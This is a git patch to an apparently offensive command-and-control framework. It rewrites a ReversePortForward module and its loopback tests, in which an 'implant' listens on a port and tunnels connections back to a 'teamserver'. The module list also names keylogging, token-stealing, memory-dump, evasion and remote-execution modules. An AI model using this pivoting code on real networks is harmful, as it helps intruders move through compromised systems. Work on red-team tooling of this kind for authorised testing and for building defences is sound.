From 6b0a78b191d1ec210cb0862f0540de1d9fdbb22e Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 30 Apr 2026 14:36:58 +0200 Subject: [PATCH] ReversePortForward to test --- modules/CMakeLists.txt | 116 ++-- modules/ReversePortForward/CMakeLists.txt | 6 + .../ReversePortForward/ReversePortForward.cpp | 135 ++--- .../ReversePortForward/ReversePortForward.hpp | 14 +- .../tests/testsReversePortForward.cpp | 553 ++++++++++++++---- 5 files changed, 580 insertions(+), 244 deletions(-) diff --git a/modules/CMakeLists.txt b/modules/CMakeLists.txt index 7307523..8a043e2 100644 --- a/modules/CMakeLists.txt +++ b/modules/CMakeLists.txt @@ -1,10 +1,10 @@ -set(CMAKE_CXX_STANDARD 17) -set(CMAKE_CXX_STANDARD_REQUIRED ON) - -if(C2CORE_BUILD_TESTS) - enable_testing() -endif() - +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED ON) + +if(C2CORE_BUILD_TESTS) + enable_testing() +endif() + include_directories(ModuleCmd) function(c2core_disable_safeseh_for_x86 target) @@ -15,54 +15,54 @@ endfunction() #Only tests add_subdirectory(ModuleCmd) - -#Exploit -add_subdirectory(AssemblyExec) -add_subdirectory(Chisel) -add_subdirectory(CoffLoader) -add_subdirectory(Download) -add_subdirectory(Evasion) -add_subdirectory(Inject) -add_subdirectory(KerberosUseTicket) -add_subdirectory(MakeToken) -add_subdirectory(Powershell) -add_subdirectory(Rev2self) -add_subdirectory(Run) -add_subdirectory(Script) -add_subdirectory(StealToken) -add_subdirectory(Upload) -add_subdirectory(MkDir) -add_subdirectory(Remove) -add_subdirectory(KillProcess) -add_subdirectory(KeyLogger) -add_subdirectory(ScreenShot) -add_subdirectory(MiniDump) -add_subdirectory(DotnetExec) -add_subdirectory(PwSh) -add_subdirectory(Shell) -add_subdirectory(Registry) - -#Enum -add_subdirectory(ChangeDirectory) -add_subdirectory(ListDirectory) -add_subdirectory(ListProcesses) -add_subdirectory(PrintWorkingDirectory) -add_subdirectory(Cat) -add_subdirectory(Tree) -add_subdirectory(GetEnv) -add_subdirectory(Whoami) -add_subdirectory(Netstat) -add_subdirectory(IpConfig) -add_subdirectory(EnumerateShares) -add_subdirectory(EnumerateRdpSessions) - -#Pivot -add_subdirectory(SpawnAs) -add_subdirectory(PsExec) -add_subdirectory(WmiExec) -add_subdirectory(TaskScheduler) -add_subdirectory(WinRM) -add_subdirectory(DcomExec) -add_subdirectory(CimExec) -add_subdirectory(SshExec) - + +#Exploit +add_subdirectory(AssemblyExec) +add_subdirectory(Chisel) +add_subdirectory(CoffLoader) +add_subdirectory(Download) +add_subdirectory(Evasion) +add_subdirectory(Inject) +add_subdirectory(KerberosUseTicket) +add_subdirectory(MakeToken) +add_subdirectory(Powershell) +add_subdirectory(Rev2self) +add_subdirectory(Run) +add_subdirectory(Script) +add_subdirectory(StealToken) +add_subdirectory(Upload) +add_subdirectory(MkDir) +add_subdirectory(Remove) +add_subdirectory(KillProcess) +add_subdirectory(KeyLogger) +add_subdirectory(ScreenShot) +add_subdirectory(MiniDump) +add_subdirectory(DotnetExec) +add_subdirectory(PwSh) +add_subdirectory(Shell) +add_subdirectory(Registry) + +#Enum +add_subdirectory(ChangeDirectory) +add_subdirectory(ListDirectory) +add_subdirectory(ListProcesses) +add_subdirectory(PrintWorkingDirectory) +add_subdirectory(Cat) +add_subdirectory(Tree) +add_subdirectory(GetEnv) +add_subdirectory(Whoami) +add_subdirectory(Netstat) +add_subdirectory(IpConfig) +add_subdirectory(EnumerateShares) +add_subdirectory(EnumerateRdpSessions) + +#Pivot +add_subdirectory(SpawnAs) +add_subdirectory(PsExec) +add_subdirectory(ReversePortForward) +add_subdirectory(WmiExec) +add_subdirectory(TaskScheduler) +add_subdirectory(WinRM) +add_subdirectory(DcomExec) +add_subdirectory(CimExec) +add_subdirectory(SshExec) diff --git a/modules/ReversePortForward/CMakeLists.txt b/modules/ReversePortForward/CMakeLists.txt index 4028d97..48add1e 100644 --- a/modules/ReversePortForward/CMakeLists.txt +++ b/modules/ReversePortForward/CMakeLists.txt @@ -2,12 +2,18 @@ include_directories(../) add_library(ReversePortForward SHARED ReversePortForward.cpp) set_property(TARGET ReversePortForward PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") target_link_libraries(ReversePortForward) +if(WIN32) + target_link_libraries(ReversePortForward ws2_32) +endif() add_custom_command(TARGET ReversePortForward POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$") if(C2CORE_BUILD_TESTS) add_executable(testsReversePortForward tests/testsReversePortForward.cpp ReversePortForward.cpp) target_link_libraries(testsReversePortForward) + if(WIN32) + target_link_libraries(testsReversePortForward ws2_32) + endif() add_custom_command(TARGET testsReversePortForward POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${C2_TEST_BIN_OUTPUT_DIR}/$") add_test(NAME testsReversePortForward COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$") diff --git a/modules/ReversePortForward/ReversePortForward.cpp b/modules/ReversePortForward/ReversePortForward.cpp index 6821cc1..e1fca94 100644 --- a/modules/ReversePortForward/ReversePortForward.cpp +++ b/modules/ReversePortForward/ReversePortForward.cpp @@ -10,10 +10,7 @@ #include #include -#ifdef _WIN32 - #include - #include -#else +#ifndef _WIN32 #include #include #include @@ -74,27 +71,31 @@ extern "C" __attribute__((visibility("default"))) ReversePortForward* ReversePor #endif ReversePortForward::ReversePortForward() -// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) +#ifdef BUILD_TEAMSERVER : ModuleCmd(std::string(moduleName), moduleHash) +#else + : ModuleCmd("", moduleHash) +#endif , m_localPort(0) , m_remotePort(0) , m_socketLayerReady(false) -// #else - // , ModuleCmd("", moduleHash) , m_running(false) , m_listenerActive(false) - // , m_remotePort(0) , m_listenerSocket(InvalidSocket) , m_listenerThread() , m_nextConnectionId(1) - // , m_socketLayerReady(false) -// #endif { } ReversePortForward::~ReversePortForward() { -#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) + closeLocalConnections(); + stopListener(); + shutdownSocketLayer(); +} + +void ReversePortForward::closeLocalConnections() +{ std::lock_guard lock(m_localMutex); for (auto& entry : m_localConnections) { @@ -102,27 +103,48 @@ ReversePortForward::~ReversePortForward() closeSocket(entry.second); } m_localConnections.clear(); -#else +} + +void ReversePortForward::stopListener() +{ m_running = false; + + SocketHandle listener = m_listenerSocket; + if (listener != InvalidSocket) + closeSocket(listener); + if (m_listenerThread.joinable()) m_listenerThread.join(); + m_listenerSocket = InvalidSocket; + std::vector> connections; { std::lock_guard lock(m_connectionsMutex); for (auto& pair : m_connections) - { - auto& connection = pair.second; - if (connection && connection->socket != InvalidSocket) - closeSocket(connection->socket); - } + connections.push_back(pair.second); m_connections.clear(); } - if (m_listenerSocket != InvalidSocket) - closeSocket(m_listenerSocket); -#endif + for (auto& connection : connections) + { + if (!connection) + continue; - shutdownSocketLayer(); + connection->active = false; + if (connection->socket != InvalidSocket) + { + closeSocket(connection->socket); + connection->socket = InvalidSocket; + } + } + + for (auto& connection : connections) + { + if (connection && connection->reader.joinable()) + connection->reader.join(); + } + + m_listenerActive = false; } std::string ReversePortForward::getInfo() @@ -253,13 +275,9 @@ void ReversePortForward::enqueueChunk(int connectionId, const std::string& data, std::lock_guard lock(m_queueMutex); m_pendingChunks.push({connectionId, data, closeEvent}); } -#if !(defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)) m_queueCv.notify_all(); -#endif } -// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) - bool ReversePortForward::sendAll(SocketHandle socket, const std::string& data) const { if (socket == InvalidSocket) @@ -382,13 +400,11 @@ void ReversePortForward::pollLocalConnections() enqueueChunk(chunk.connectionId, chunk.data, chunk.closeEvent); } -// #else - ReversePortForward::SocketHandle ReversePortForward::createListener(int port) { struct addrinfo hints; std::memset(&hints, 0, sizeof(hints)); - hints.ai_family = AF_UNSPEC; + hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; @@ -492,6 +508,7 @@ void ReversePortForward::handleClient(std::shared_ptr connecti } closeSocket(socket); + connection->socket = InvalidSocket; } void ReversePortForward::runListener() @@ -517,13 +534,9 @@ void ReversePortForward::runListener() } connection->reader = std::thread(&ReversePortForward::handleClient, this, connection); - connection->reader.detach(); - enqueueChunk(id, std::string(), false); } } -// #endif - int ReversePortForward::followUp(const C2Message& c2RetMessage) { if (!ensureSocketLayer()) @@ -744,19 +757,12 @@ int ReversePortForward::process(C2Message& c2Message, C2Message& c2RetMessage) if (!payload.empty()) { - const char* buffer = payload.data(); - size_t totalSent = 0; - size_t toSend = payload.size(); - while (totalSent < toSend) + if (!sendAll(connection->socket, payload)) { - int sent = ::send(connection->socket, buffer + totalSent, static_cast(toSend - totalSent), 0); - if (sent <= 0) - { - connection->active = false; - enqueueChunk(connectionId, std::string(), true); - break; - } - totalSent += static_cast(sent); + connection->active = false; + closeSocket(connection->socket); + connection->socket = InvalidSocket; + enqueueChunk(connectionId, std::string(), true); } } @@ -805,6 +811,9 @@ int ReversePortForward::process(C2Message& c2Message, C2Message& c2RetMessage) { connection->active = false; closeSocket(connection->socket); + connection->socket = InvalidSocket; + if (connection->reader.joinable()) + connection->reader.join(); } return 0; @@ -813,12 +822,11 @@ int ReversePortForward::process(C2Message& c2Message, C2Message& c2RetMessage) return 0; } -// TODO, we got an architectural issue here, recurringExec and followUp are not expected to communicate between them without user intervention -// could be usefull int ReversePortForward::recurringExec(C2Message& c2RetMessage) { -// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) - pollLocalConnections(); + const bool listenerSide = m_running; + if (!listenerSide) + pollLocalConnections(); std::unique_lock lock(m_queueMutex); if (m_pendingChunks.empty()) @@ -838,38 +846,9 @@ int ReversePortForward::recurringExec(C2Message& c2RetMessage) else { c2RetMessage.set_cmd("send"); - c2RetMessage.set_args("response:" + std::to_string(chunk.connectionId)); + c2RetMessage.set_args(std::string(listenerSide ? "data:" : "response:") + std::to_string(chunk.connectionId)); c2RetMessage.set_data(chunk.data); } return 1; -// #else - // std::unique_lock lock(m_queueMutex); - // if (m_pendingChunks.empty()) - // { - // m_queueCv.wait_for(lock, std::chrono::milliseconds(100)); - // if (m_pendingChunks.empty()) - // return 0; - // } - - // PendingChunk chunk = m_pendingChunks.front(); - // m_pendingChunks.pop(); - // lock.unlock(); - - // c2RetMessage.set_instruction(std::to_string(getHash())); - // if (chunk.closeEvent) - // { - // c2RetMessage.set_cmd("close"); - // c2RetMessage.set_args("close:" + std::to_string(chunk.connectionId)); - // c2RetMessage.set_data(""); - // } - // else - // { - // c2RetMessage.set_cmd("send"); - // c2RetMessage.set_args("data:" + std::to_string(chunk.connectionId)); - // c2RetMessage.set_data(chunk.data); - // } - - // return 1; -// #endif } diff --git a/modules/ReversePortForward/ReversePortForward.hpp b/modules/ReversePortForward/ReversePortForward.hpp index eb2d4d6..a1c2a04 100644 --- a/modules/ReversePortForward/ReversePortForward.hpp +++ b/modules/ReversePortForward/ReversePortForward.hpp @@ -2,6 +2,14 @@ #include "ModuleCmd.hpp" +#ifdef _WIN32 +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#include +#include +#endif + #include #include #include @@ -55,9 +63,10 @@ private: bool ensureSocketLayer(); void shutdownSocketLayer(); void closeSocket(SocketHandle socket) const; + void closeLocalConnections(); + void stopListener(); void enqueueChunk(int connectionId, const std::string& data, bool closeEvent); -// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) bool sendAll(SocketHandle socket, const std::string& data) const; std::string receiveAvailable(SocketHandle socket, bool& closed) const; void pollLocalConnections(); @@ -66,7 +75,7 @@ private: int m_localPort; std::mutex m_localMutex; std::unordered_map m_localConnections; -// #else + struct RemoteConnection { int id; @@ -89,7 +98,6 @@ private: std::mutex m_connectionsMutex; std::unordered_map> m_connections; std::condition_variable m_queueCv; -// #endif int m_remotePort; bool m_socketLayerReady; diff --git a/modules/ReversePortForward/tests/testsReversePortForward.cpp b/modules/ReversePortForward/tests/testsReversePortForward.cpp index 71cfd81..684e98d 100644 --- a/modules/ReversePortForward/tests/testsReversePortForward.cpp +++ b/modules/ReversePortForward/tests/testsReversePortForward.cpp @@ -1,120 +1,463 @@ #include "../ReversePortForward.hpp" -#include -#include +#include "../../tests/TestHelpers.hpp" -bool testInit(); -bool testInvalidArguments(); -bool testErrorMessages(); -bool test(); +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 +#include +#include +#else +#include +#include +#include +#include +#include +#endif + +using namespace test_helpers; + +namespace +{ +#ifdef _WIN32 + using SocketHandle = SOCKET; + constexpr SocketHandle InvalidSocket = INVALID_SOCKET; +#else + using SocketHandle = int; + constexpr SocketHandle InvalidSocket = -1; +#endif + + void closeSocket(SocketHandle socket) + { +#ifdef _WIN32 + if (socket != InvalidSocket) + closesocket(socket); +#else + if (socket != InvalidSocket) + ::close(socket); +#endif + } + + class SocketRuntime + { + public: + SocketRuntime() + { +#ifdef _WIN32 + WSADATA data; + m_ready = WSAStartup(MAKEWORD(2, 2), &data) == 0; +#else + m_ready = true; +#endif + } + + ~SocketRuntime() + { +#ifdef _WIN32 + if (m_ready) + WSACleanup(); +#endif + } + + bool ready() const + { + return m_ready; + } + + private: + bool m_ready = false; + }; + + SocketHandle createLoopbackListener(int port, int& boundPort) + { + SocketHandle listener = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (listener == InvalidSocket) + return InvalidSocket; + + int enabled = 1; +#ifdef _WIN32 + setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&enabled), sizeof(enabled)); +#else + setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &enabled, sizeof(enabled)); +#endif + + sockaddr_in address{}; + address.sin_family = AF_INET; + address.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + address.sin_port = htons(static_cast(port)); + + if (::bind(listener, reinterpret_cast(&address), sizeof(address)) != 0) + { + closeSocket(listener); + return InvalidSocket; + } + + if (::listen(listener, SOMAXCONN) != 0) + { + closeSocket(listener); + return InvalidSocket; + } + + sockaddr_in actual{}; +#ifdef _WIN32 + int actualSize = sizeof(actual); +#else + socklen_t actualSize = sizeof(actual); +#endif + if (::getsockname(listener, reinterpret_cast(&actual), &actualSize) != 0) + { + closeSocket(listener); + return InvalidSocket; + } + + boundPort = ntohs(actual.sin_port); + return listener; + } + + int reserveLoopbackPort() + { + int port = 0; + SocketHandle listener = createLoopbackListener(0, port); + closeSocket(listener); + return port; + } + + bool sendAll(SocketHandle socket, const std::string& data) + { + size_t sentTotal = 0; + while (sentTotal < data.size()) + { + int sent = ::send(socket, data.data() + sentTotal, static_cast(data.size() - sentTotal), 0); + if (sent <= 0) + return false; + sentTotal += static_cast(sent); + } + return true; + } + + SocketHandle connectLoopback(int port, std::chrono::milliseconds timeout) + { + const auto deadline = std::chrono::steady_clock::now() + timeout; + while (std::chrono::steady_clock::now() < deadline) + { + SocketHandle socket = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (socket == InvalidSocket) + return InvalidSocket; + + sockaddr_in address{}; + address.sin_family = AF_INET; + address.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + address.sin_port = htons(static_cast(port)); + + if (::connect(socket, reinterpret_cast(&address), sizeof(address)) == 0) + return socket; + + closeSocket(socket); + std::this_thread::sleep_for(std::chrono::milliseconds(20)); + } + return InvalidSocket; + } + + std::string recvWithTimeout(SocketHandle socket, std::chrono::milliseconds timeout) + { + fd_set readSet; + FD_ZERO(&readSet); + FD_SET(socket, &readSet); + + timeval tv{}; + tv.tv_sec = static_cast(timeout.count() / 1000); + tv.tv_usec = static_cast((timeout.count() % 1000) * 1000); + + int ready = ::select(static_cast(socket) + 1, &readSet, nullptr, nullptr, &tv); + if (ready <= 0 || !FD_ISSET(socket, &readSet)) + return {}; + + char buffer[4096]; + int received = ::recv(socket, buffer, sizeof(buffer), 0); + if (received <= 0) + return {}; + return std::string(buffer, received); + } + + class EchoServer + { + public: + EchoServer() + { + m_listener = createLoopbackListener(0, m_port); + if (m_listener != InvalidSocket) + m_thread = std::thread(&EchoServer::run, this); + } + + ~EchoServer() + { + SocketHandle unblocker = connectLoopback(m_port, std::chrono::milliseconds(100)); + closeSocket(unblocker); + if (m_listener != InvalidSocket) + closeSocket(m_listener); + if (m_client != InvalidSocket) + closeSocket(m_client); + if (m_thread.joinable()) + m_thread.join(); + } + + bool started() const + { + return m_listener != InvalidSocket && m_port > 0; + } + + int port() const + { + return m_port; + } + + private: + void run() + { + m_client = ::accept(m_listener, nullptr, nullptr); + if (m_client == InvalidSocket) + return; + + char buffer[4096]; + int received = ::recv(m_client, buffer, sizeof(buffer), 0); + if (received > 0) + { + std::string response = "echo:"; + response.append(buffer, received); + sendAll(m_client, response); + } + } + + SocketHandle m_listener = InvalidSocket; + SocketHandle m_client = InvalidSocket; + int m_port = 0; + std::thread m_thread; + }; + + bool waitForRecurring(ReversePortForward& module, + C2Message& message, + const std::function& predicate, + std::chrono::milliseconds timeout) + { + const auto deadline = std::chrono::steady_clock::now() + timeout; + while (std::chrono::steady_clock::now() < deadline) + { + C2Message candidate; + if (module.recurringExec(candidate) == 1) + { + if (predicate(candidate)) + { + message = candidate; + return true; + } + } + + std::this_thread::sleep_for(std::chrono::milliseconds(20)); + } + return false; + } + + bool testInit() + { + ReversePortForward module; + std::vector cmd = {"reversePortForward", "8080", "127.0.0.1", "80"}; + C2Message message; + + bool ok = true; + ok &= expect(module.init(cmd, message) == 0, "valid init should succeed"); + ok &= expect(message.instruction() == cmd[0], "instruction should be set"); + ok &= expect(message.cmd() == "start", "start command should be packed"); + ok &= expect(message.args() == "8080 127.0.0.1 80", "forward parameters should be packed"); + return ok; + } + + bool testInvalidArguments() + { + bool ok = true; + ReversePortForward module; + C2Message message; + + std::vector cmd = {"reversePortForward", "invalid", "127.0.0.1", "80"}; + ok &= expect(module.init(cmd, message) == -1, "non-numeric port should be rejected"); + ok &= expect(message.returnvalue().find("Invalid port") != std::string::npos, "non-numeric port should explain the error"); + + cmd = {"reversePortForward", "8080"}; + message = C2Message(); + ok &= expect(module.init(cmd, message) == -1, "missing arguments should be rejected"); + ok &= expect(message.returnvalue().find("reversePortForward") != std::string::npos, "missing arguments should return help"); + + cmd = {"reversePortForward", "0", "127.0.0.1", "80"}; + message = C2Message(); + ok &= expect(module.init(cmd, message) == -1, "zero remote port should be rejected"); + ok &= expect(message.returnvalue().find("Ports must be between") != std::string::npos, "out-of-range port should explain the error"); + return ok; + } + + bool testErrorMessages() + { + ReversePortForward module; + bool ok = true; + + for (int code = 1; code <= 5; ++code) + { + std::string error; + C2Message response; + response.set_errorCode(code); + ok &= expect(module.errorCodeToMsg(response, error) == 0, "errorCodeToMsg should return success"); + ok &= expect(!error.empty(), "known error code should map to text"); + } + + std::string unchanged = "unchanged"; + C2Message response; + response.set_errorCode(0); + ok &= expect(module.errorCodeToMsg(response, unchanged) == 0, "zero error code should return success"); + ok &= expect(unchanged == "unchanged", "zero error code should not change existing message"); + return ok; + } + + bool testStartErrors() + { + ReversePortForward module; + C2Message start; + start.set_instruction("reversePortForward"); + start.set_cmd("start"); + start.set_args("0 127.0.0.1 1"); + + C2Message ret; + bool ok = true; + ok &= expect(module.process(start, ret) == 0, "invalid start should return through C2Message"); + ok &= expect(ret.errorCode() == 3, "invalid start should set bind error"); + + const int remotePort = reserveLoopbackPort(); + start.set_args(std::to_string(remotePort) + " 127.0.0.1 1"); + ret = C2Message(); + ok &= expect(module.process(start, ret) == 0, "first start should succeed"); + ok &= expect(ret.errorCode() <= 0, "first start should not set an error"); + + ret = C2Message(); + ok &= expect(module.process(start, ret) == 0, "duplicate start should return through C2Message"); + ok &= expect(ret.errorCode() == 1, "duplicate start should set already-running error"); + return ok; + } + + bool testLoopbackForward() + { + EchoServer echo; + bool ok = true; + ok &= expect(echo.started(), "local echo server should start"); + if (!echo.started()) + return false; + + const int remotePort = reserveLoopbackPort(); + ok &= expect(remotePort > 0, "remote test port should be reservable"); + if (remotePort <= 0) + return false; + + ReversePortForward teamserver; + ReversePortForward implant; + C2Message start; + std::vector cmd = { + "reversePortForward", + std::to_string(remotePort), + "127.0.0.1", + std::to_string(echo.port())}; + + ok &= expect(teamserver.init(cmd, start) == 0, "teamserver init should pack start message"); + + C2Message startRet; + ok &= expect(implant.process(start, startRet) == 0, "implant start should return through C2Message"); + ok &= expect(startRet.errorCode() <= 0, "implant start should not set an error"); + ok &= expect(startRet.returnvalue().find(std::to_string(remotePort)) != std::string::npos, "implant start should report remote port"); + if (!ok) + return false; + + SocketHandle remoteClient = connectLoopback(remotePort, std::chrono::seconds(2)); + ok &= expect(remoteClient != InvalidSocket, "remote client should connect to forwarded port"); + if (remoteClient == InvalidSocket) + return false; + + ok &= expect(sendAll(remoteClient, "ping"), "remote client should send data"); + + C2Message toTeamserver; + ok &= expect(waitForRecurring( + implant, + toTeamserver, + [](const C2Message& message) + { + return message.cmd() == "send" + && message.args().find("data:") == 0 + && message.data() == "ping"; + }, + std::chrono::seconds(2)), + "implant recurringExec should emit remote data"); + + const std::string dataArgs = toTeamserver.args(); + ok &= expect(teamserver.followUp(toTeamserver) == 0, "teamserver followUp should forward data to local service"); + + C2Message toImplant; + ok &= expect(waitForRecurring( + teamserver, + toImplant, + [&](const C2Message& message) + { + return message.cmd() == "send" + && message.args() == "response:" + dataArgs.substr(std::string("data:").size()) + && message.data() == "echo:ping"; + }, + std::chrono::seconds(2)), + "teamserver recurringExec should emit local service response"); + + C2Message sendRet; + ok &= expect(implant.process(toImplant, sendRet) == 0, "implant should send response to remote client"); + ok &= expect(sendRet.errorCode() <= 0, "implant response send should not set an error"); + ok &= expect(recvWithTimeout(remoteClient, std::chrono::seconds(2)) == "echo:ping", "remote client should receive local service response"); + +#ifdef _WIN32 + shutdown(remoteClient, SD_BOTH); +#else + shutdown(remoteClient, SHUT_RDWR); +#endif + closeSocket(remoteClient); + + C2Message closeMessage; + ok &= expect(waitForRecurring( + implant, + closeMessage, + [&](const C2Message& message) + { + return message.cmd() == "close" + && message.args() == "close:" + dataArgs.substr(std::string("data:").size()); + }, + std::chrono::seconds(2)), + "implant should emit close event after remote disconnect"); + if (closeMessage.cmd() == "close") + ok &= expect(teamserver.followUp(closeMessage) == 0, "teamserver should close local connection"); + + return ok; + } +} int main() { + SocketRuntime runtime; bool ok = true; - std::cout << "[+] ReversePortForward tests" << std::endl; + ok &= expect(runtime.ready(), "socket runtime should initialise"); + if (!runtime.ready()) + return 1; ok &= testInit(); ok &= testInvalidArguments(); ok &= testErrorMessages(); - ok &= test(); - - if (ok) - std::cout << "[+] Success" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + ok &= testStartErrors(); + ok &= testLoopbackForward(); + std::cout << (ok ? "[+]" : "[-]") << " reversePortForward tests" << std::endl; return ok ? 0 : 1; } - -bool testInit() -{ - ReversePortForward module; - std::vector cmd = {"reversePortForward", "8080", "127.0.0.1", "80"}; - C2Message message; - - int rc = module.init(cmd, message); - bool ok = rc == 0; - ok &= message.instruction() == cmd[0]; - ok &= message.cmd() == "start"; - ok &= message.args() == "8080 127.0.0.1 80"; - - return ok; -} - -bool testInvalidArguments() -{ - ReversePortForward module; - std::vector cmd = {"reversePortForward", "invalid", "127.0.0.1", "80"}; - C2Message message; - - int rc = module.init(cmd, message); - bool ok = rc == -1; - ok &= !message.returnvalue().empty(); - - cmd = {"reversePortForward", "8080"}; - message = C2Message(); - rc = module.init(cmd, message); - ok &= rc == -1; - ok &= !message.returnvalue().empty(); - - return ok; -} - -bool testErrorMessages() -{ - ReversePortForward module; - std::string error; - C2Message response; - - response.set_errorCode(1); - module.errorCodeToMsg(response, error); - bool ok = !error.empty(); - - response.set_errorCode(2); - module.errorCodeToMsg(response, error); - ok &= !error.empty(); - - response.set_errorCode(3); - module.errorCodeToMsg(response, error); - ok &= !error.empty(); - - response.set_errorCode(4); - module.errorCodeToMsg(response, error); - ok &= !error.empty(); - - return ok; -} - - -bool test() -{ - ReversePortForward module; - std::vector cmd = {"reversePortForward", "8080", "127.0.0.1", "9001"}; - C2Message message; - C2Message ret; - - int rc = module.init(cmd, message); - - module.process(message, ret); - - std::string err; - module.errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - - int maxIter = 100; - int iter = 0; - while (iter < maxIter) - { - module.followUp(message); - module.recurringExec(message); - - iter++; - - std::this_thread::sleep_for(std::chrono::milliseconds(100)); - } - - return 1; -}